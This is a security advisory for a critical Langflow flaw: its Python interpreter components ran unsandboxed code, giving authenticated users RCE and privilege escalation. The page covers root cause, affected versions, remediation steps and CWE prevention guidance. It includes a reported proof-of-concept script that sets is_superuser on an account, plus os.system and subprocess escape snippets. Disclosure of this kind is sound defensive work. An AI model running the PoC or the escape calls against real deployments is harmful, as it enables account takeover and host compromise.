GHSA-8qpj-27x8-pwpq CVE-2026-10561 PYSEC-2026-4231
Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation
- Severity
- 9.9 / 10
- Critical · CVSS 3.1
- Exploit chance (EPSS)
- 0.82%
- Chance of exploitation in the next 30 days. Higher than 57.29% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-266 Incorrect Privilege Assignment
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
- Fix
1.10.1- Upgrade langflow to this version or later
Description
Summary
Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping is_superuser) or compromise the host.
This issue is fixed as of 1.10.1, with additional hardening through 1.12.3. See Remediation below.
Affected
- Package:
langflow(PyPI), and the underlyinglfxpackage that ships the component. - Vulnerable versions:
< 1.10.1. - Patched:
1.10.1(core fix). Upgrade to>= 1.12.3for the complete hardening series.
Details
The root cause is code injection (CWE-94/CWE-95): the component passed raw input to LangChain's PythonREPL, which is explicitly not a security sandbox.
Two distinct weaknesses existed before 1.10.1:
-
Unrestricted builtins (default deployments).
get_globals()built theexecglobals from theglobal_importsallow-list but never set__builtins__. CPython'sexec()then auto-injected the fullbuiltinsmodule, leaving__import__,open,eval,execand the whole import machinery reachable regardless of the allow-list — e.g.__import__("os").system(...)or__import__("subprocess").check_output([...]). This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the default configuration (allow_custom_components=True). -
No server-policy gate (locked-down deployments). Even a deployment hardened with
allow_custom_components=Falsecould still run interpreter code, because the components did not consult that policy before executing.
Both let an authenticated user run the reported PoC, which opens a DB session and sets is_superuser = True on their account, or writes to the filesystem / runs OS commands with the service's privileges.
PoC (as reported)
- Authenticate as a normal user.
- Create a flow with the
PythonREPLComponent. - Execute Python that imports Langflow internals and elevates the account:
import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope
async def escalate():
async with session_scope() as session:
stmt = select(User).where(User.username == 'testuser')
user = (await session.exec(stmt)).first()
if user:
user.is_superuser = True
session.add(user)
await session.commit()
asyncio.run(escalate())
Impact
Any authenticated user could:
- Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE).
- Escalate their own account to superuser via direct database access.
- Read/modify data and configuration, and potentially pivot to the underlying host.
Remediation
Upgrade to Langflow 1.10.1 or later (preferably >= 1.12.3). The interpreter components were hardened with layered, defense-in-depth controls, applied in run_python_repl() before any code is executed:
- Restricted builtins —
get_globals()injects a curatedsafe_builtins()mapping, removing__import__,eval,exec,compile,open,input,globals/locals/vars,getattr/setattr, etc. (#13397) - AST validation —
validate_code_safety()rejects inlineimport/from ... import, dunder/escape-gadget attribute access (__class__,__subclasses__,__globals__, frame/traceback introspection) and format-string dunder traversal. (#13397) - Server-policy gate —
ensure_code_execution_enabled()refuses to run whenallow_custom_components=Falseorblock_code_interpreter_components=True, and fails closed if the settings stack cannot be resolved. (#13700 — this advisory — and #14375) - Allow-listed module proxies — imported modules are exposed via a proxy that blocks reaching
sys.modules["os"]through a module's transitive import graph. (#15198) - Optional hardware isolation — configure
LANGFLOW_SANDBOX_BACKENDto run interpreter code in an isolated microVM instead of in-process. (#14400)
Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.
Hardening recommendations for operators
- Keep Langflow updated (>= 1.12.3).
- For locked-down deployments, set
LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false(orLANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true) to disable the interpreter entirely. - For deployments that must run untrusted code, configure
LANGFLOW_SANDBOX_BACKENDfor microVM isolation. - Run the Langflow service as an unprivileged user with least-privilege database credentials.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| langflow | < 1.10.1 |
1.10.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
langflow PyPI → 1.10.1
- pip
pip install --upgrade "langflow>=1.10.1"- poetry
poetry add "langflow>=1.10.1"- uv
uv add "langflow>=1.10.1"
Severity breakdown
CVSS 3.1 9.9
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Changed
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-266: Incorrect Privilege Assignment
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes code syntax before using the input in a dynamic evaluation call (e.g. "eval").
How to prevent it
- Architecture and Design, Implementation: If possible, refactor your code so that it does not need to use eval() at all.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-qrpv-q767-xqq2 Langflow: IDOR Vulnerability in `/api/v1/responses` Endpoint Allows Authenticated Attackers to Access Another User's Flow | High Known exploited | Also affects langflow |
| GHSA-vwmf-pq79-vjvx Unauthenticated Remote Code Execution in Langflow via Public Flow Build Endpoint | Critical Known exploited | Also affects langflow |
| GHSA-g22f-v6f7-2hrh Langflow affected by Remote Code Execution via validate_code() exec() | High Known exploited | Also affects langflow |
| GHSA-577h-p2hh-v4mv Langflow CORS misconfiguration enables Account Takeover and RCE | Critical Known exploited | Also affects langflow |
| GHSA-rvqx-wpfh-mfx7 Langflow Unauth RCE | Critical Known exploited | Also affects langflow |
| GHSA-j8f7-x8jm-wmm4 Langflow: SSRF in URL-taking components (protection disabled by default / warn-only, not applied to RSS, SearXNG, Web Search, Home Assistant, Glean, Docling) | Medium | Also affects langflow |
| GHSA-4f6c-2vvp-gw82 Langflow: IP Spoofing Bypass via `X-Forwarded-For` Allowing Remote Configuration Write | High | Also affects langflow |
| GHSA-4hmc-cfm3-w43c Langflow has Authenticated Cross-Project File Disclosure via Unscoped MCP Resource Handlers | High | Also affects langflow |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor